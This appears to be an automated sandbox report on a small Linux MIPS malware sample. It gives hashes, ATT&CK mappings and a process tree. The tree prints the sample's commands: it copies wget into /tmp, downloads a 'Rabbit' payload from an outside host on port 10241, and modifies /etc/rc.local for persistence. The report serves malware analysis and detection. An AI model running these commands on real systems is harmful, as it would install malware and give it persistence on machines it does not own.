be0ba290644b18598fc2b4570668b0b75e351fb563423ac3d3386df0fc2a2204

Analysis

max time kernel
133s
max time network
150s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
07-08-2024 07:09

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General

Target

be0ba290644b18598fc2b4570668b0b75e351fb563423ac3d3386df0fc2a2204 (1)
Size

2KB
MD5

0ea832c7d725eda26ceb3edafd003a8a
SHA1

8f2395dd84712798300b938822da816d805e5256
SHA256

be0ba290644b18598fc2b4570668b0b75e351fb563423ac3d3386df0fc2a2204
SHA512

8255058ffb6c2ea4ec4f9643020cbd8231313c13ba3ddf07d11c3b742704a296e5245cbc94ba848f48cf4ea87778be72f2ff3b494a0c02a5187797d22e935578

Score

7^/10

persistence

Malware Config

Signatures

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/wget	726	wget

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 1 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

description	ioc	Process
File opened for modification	/etc/rc.local	be0ba290644b18598fc2b4570668b0b75e351fb563423ac3d3386df0fc2a2204 (1)

Reads CPU attributes 1 TTPs 1 IoCs

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/20/stat	ps
File opened for reading	/proc/679/stat	ps
File opened for reading	/proc/150/status	ps
File opened for reading	/proc/316/cmdline	ps
File opened for reading	/proc/3/status	ps
File opened for reading	/proc/16/status	ps
File opened for reading	/proc/210/status	ps
File opened for reading	/proc/342/status	ps
File opened for reading	/proc/8/cmdline	ps
File opened for reading	/proc/15/stat	ps
File opened for reading	/proc/117/stat	ps
File opened for reading	/proc/210/cmdline	ps
File opened for reading	/proc/7/stat	ps
File opened for reading	/proc/16/cmdline	ps
File opened for reading	/proc/368/stat	ps
File opened for reading	/proc/716/status	ps
File opened for reading	/proc/18/stat	ps
File opened for reading	/proc/150/stat	ps
File opened for reading	/proc/82/stat	ps
File opened for reading	/proc/708/stat	ps
File opened for reading	/proc/708/cmdline	ps
File opened for reading	/proc/23/stat	ps
File opened for reading	/proc/70/stat	ps
File opened for reading	/proc/694/stat	ps
File opened for reading	/proc/sys/kernel/osrelease	ps
File opened for reading	/proc/377/cmdline	ps
File opened for reading	/proc/314/stat	ps
File opened for reading	/proc/342/stat	ps
File opened for reading	/proc/self/stat	ps
File opened for reading	/proc/167/status	ps
File opened for reading	/proc/22/stat	ps
File opened for reading	/proc/72/cmdline	ps
File opened for reading	/proc/147/cmdline	ps
File opened for reading	/proc/664/cmdline	ps
File opened for reading	/proc/715/stat	ps
File opened for reading	/proc/719/stat	ps
File opened for reading	/proc/1/status	ps
File opened for reading	/proc/7/status	ps
File opened for reading	/proc/314/status	ps
File opened for reading	/proc/694/status	ps
File opened for reading	/proc/22/cmdline	ps
File opened for reading	/proc/79/cmdline	ps
File opened for reading	/proc/664/status	ps
File opened for reading	/proc/82/cmdline	ps
File opened for reading	/proc/341/stat	ps
File opened for reading	/proc/11/stat	ps
File opened for reading	/proc/12/status	ps
File opened for reading	/proc/23/cmdline	ps
File opened for reading	/proc/76/status	ps
File opened for reading	/proc/5/cmdline	ps
File opened for reading	/proc/9/stat	ps
File opened for reading	/proc/21/cmdline	ps
File opened for reading	/proc/714/cmdline	ps
File opened for reading	/proc/167/stat	ps
File opened for reading	/proc/715/cmdline	ps
File opened for reading	/proc/23/status	ps
File opened for reading	/proc/74/cmdline	ps
File opened for reading	/proc/224/stat	ps
File opened for reading	/proc/679/status	ps
File opened for reading	/proc/7/cmdline	ps
File opened for reading	/proc/19/stat	ps
File opened for reading	/proc/4/cmdline	ps
File opened for reading	/proc/672/cmdline	ps
File opened for reading	/proc/147/status	ps

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/wget	cp

/tmp/be0ba290644b18598fc2b4570668b0b75e351fb563423ac3d3386df0fc2a2204 (1)
"/tmp/be0ba290644b18598fc2b4570668b0b75e351fb563423ac3d3386df0fc2a2204 (1)"
1⤵
- Modifies rc script
PID:701
- /bin/grep
  grep -v grep
  2⤵
  PID:707
- /bin/cat
  cat /etc/rc.local
  2⤵
  PID:705
- /bin/grep
  grep /etc/chongfu.sh
  2⤵
  PID:706
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:714
- /bin/grep
  grep /tmp/Rabbit
  2⤵
  PID:715
- /bin/grep
  grep -v grep
  2⤵
  PID:716
- /usr/bin/wc
  wc -l
  2⤵
  PID:717
- /bin/cp
  cp /usr/bin/wget .
  2⤵
  - Writes file to tmp directory
  PID:722
- /bin/chmod
  chmod +x wget
  2⤵
  PID:724
- /tmp/wget
  ./wget -P /tmp/ http://www.t-rabbit.click:10241/Rabbit
  2⤵
  - Executes dropped EXE
  PID:726

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/etc/rc.local

Filesize
21B

MD5
210e7e809dc51ae3b7ca88ad41c9cee5

SHA1
6213f44d196ecb0409da0e94d5fcf1642d59a693

SHA256
d11b3adb85e5c40d042e06871f3bd1316805538247de1b8e46b5e21ddace516b

SHA512
e0e8e4ade4de676bee84d458fa2d63944e7b6b6af91c2ccb0411ae72a1b581434a2165927c9428197ee2ddf70229ac688c52df491738d0f135d54cf2482750bf

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/tmp/wget

Filesize
536KB

MD5
4a7c9f69532775b790e8d999f73a68b9

SHA1
9cf4d3d57284103e828dcaa514bfa76e84366472

SHA256
ba3dee31b794d6e0e2df228a87f54f3432100a4acfee8f1a7a64d2584cd80495

SHA512
925d73442f8a824ac2c016d1ce12293b30ced91cc3954ef74dbd604fc7b4a6c60227c82c52e5491ec3ba8d20a2a8d3b3b6739ef64cc242b9335a756f6631b128

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads